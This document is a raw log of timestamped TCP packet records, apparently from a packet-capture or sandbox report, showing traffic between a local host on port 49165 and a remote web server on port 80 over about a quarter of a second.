Dec 10, 2024 14:20:53.961898088 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.961966038 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.963710070 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.963795900 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.963843107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.963915110 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.965576887 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.965594053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.965642929 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.967253923 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.967267036 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.967324972 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.967324972 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.968997002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.969137907 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.969727993 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.969845057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.970820904 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.970901012 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.971652985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.971739054 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.972681046 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.972693920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.972740889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.972740889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.974541903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.974608898 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.974611998 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.974667072 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.976701975 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.976720095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.976778984 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.978389025 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.978425980 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.978425980 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.978452921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.978523970 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.979947090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.979993105 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.980021954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.980073929 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.982028961 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.982040882 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.982089996 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.983350039 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.983362913 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.983396053 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.983426094 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.985038042 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.985086918 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.985115051 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.985196114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.987142086 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.987163067 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.987230062 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.988652945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.988725901 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.988728046 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.988773108 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.990418911 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.990432978 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.990468025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.990500927 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.992207050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.992230892 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.992269039 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.992269039 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.993992090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.994051933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.994074106 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.994122982 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.995843887 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.995932102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.996035099 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.996128082 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.997941017 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.997987032 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.998635054 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.998652935 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:53.998682022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:53.998699903 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.000262976 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.000349998 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.000509024 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.000554085 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.001998901 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.002012014 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.002044916 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.003787041 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.003814936 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.003861904 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.003979921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.004040003 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.005537033 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.005551100 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.005599022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.006967068 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.007013083 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.007021904 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.007076025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.008411884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.008429050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.008485079 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.009898901 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.009973049 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.010015965 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.010076046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.011419058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.011478901 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.011848927 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.011894941 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.012958050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.013025999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.013665915 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.013710976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.014427900 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.014480114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.014904976 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.014955044 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.016000986 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.016050100 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.016132116 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.016184092 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.017587900 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.017605066 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.017644882 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.019102097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.019150972 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.019180059 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.019231081 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.020628929 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.020641088 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.020678043 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.022093058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.022165060 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.022891998 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.022942066 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.023833036 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.023844957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.023894072 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.025284052 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.025295973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.025338888 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.025367022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.026698112 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.026750088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.026753902 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.026793957 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.028263092 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.028315067 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.028331041 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.028374910 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.071847916 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.071962118 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.072185993 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.072283030 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.072588921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.072649956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.073067904 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.073113918 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.074125051 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.074186087 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.074836016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.074884892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.077578068 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.077630043 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.077816963 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.077887058 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.078473091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.078567982 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.143867970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.143965960 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.144061089 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.144145012 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.144361019 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.144494057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.144620895 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.144668102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.144721031 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.144768953 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.145653009 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.145705938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.145879984 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.145978928 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.146699905 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.146761894 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.146768093 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.146817923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.147754908 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.147825956 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.147826910 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.147867918 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.148817062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.148888111 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.149398088 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.149476051 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.149874926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.149924994 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.149924994 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.149976015 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.150855064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.150954962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.151118994 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.151180029 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.152048111 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.152070045 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.152112007 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.152112007 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.152899981 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.152960062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.152965069 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.153008938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.153920889 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.153983116 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.154017925 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.154100895 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.154925108 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.154977083 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.155147076 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.155213118 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.156069994 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.156081915 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.156135082 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.157000065 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.157058954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.157167912 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.157217979 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.158077002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.158091068 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.158134937 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.158982038 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.158997059 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.159061909 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.160012960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.160024881 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.160073996 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.160978079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.161035061 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.161381006 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.161448956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.162179947 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.162241936 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.162467957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.162548065 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.163047075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.163108110 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.163280964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.163341045 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.164088011 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.164100885 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.164182901 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.165080070 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.165153980 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.165201902 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.165307999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.166260004 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.166270971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.166307926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.166307926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.167243004 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.167254925 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.167299986 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.168457985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.168472052 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.168505907 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.169735909 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.169779062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.169789076 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.169825077 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.170325041 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.170336962 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.170378923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.170398951 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.171173096 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.171184063 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.171251059 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.172323942 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.172380924 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.172544956 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.172602892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.173175097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.173237085 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.173414946 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.173464060 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.174210072 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.174222946 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.174288034 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.175183058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.175234079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.175259113 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.175273895 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.176373005 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.176386118 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.176512003 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.177282095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.177354097 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.177462101 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.177525997 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.178348064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.178359985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.178427935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.179459095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.179471970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.179521084 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.180427074 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.180440903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.180573940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.181880951 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.181894064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.181960106 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.182332039 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.182394981 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.182566881 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.182672977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.183307886 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.183326960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.183372974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.183372974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.184339046 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.184401035 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.184406042 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.184493065 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.185338020 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.185429096 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.185806036 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.185877085 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.186743021 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.186755896 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.186801910 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.187392950 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.187443972 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.187666893 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.187758923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.188393116 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.188477993 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.188611984 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.188676119 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.189398050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.189491987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.189563036 CET	80	49165	190.90.160.170	192.168.2.22
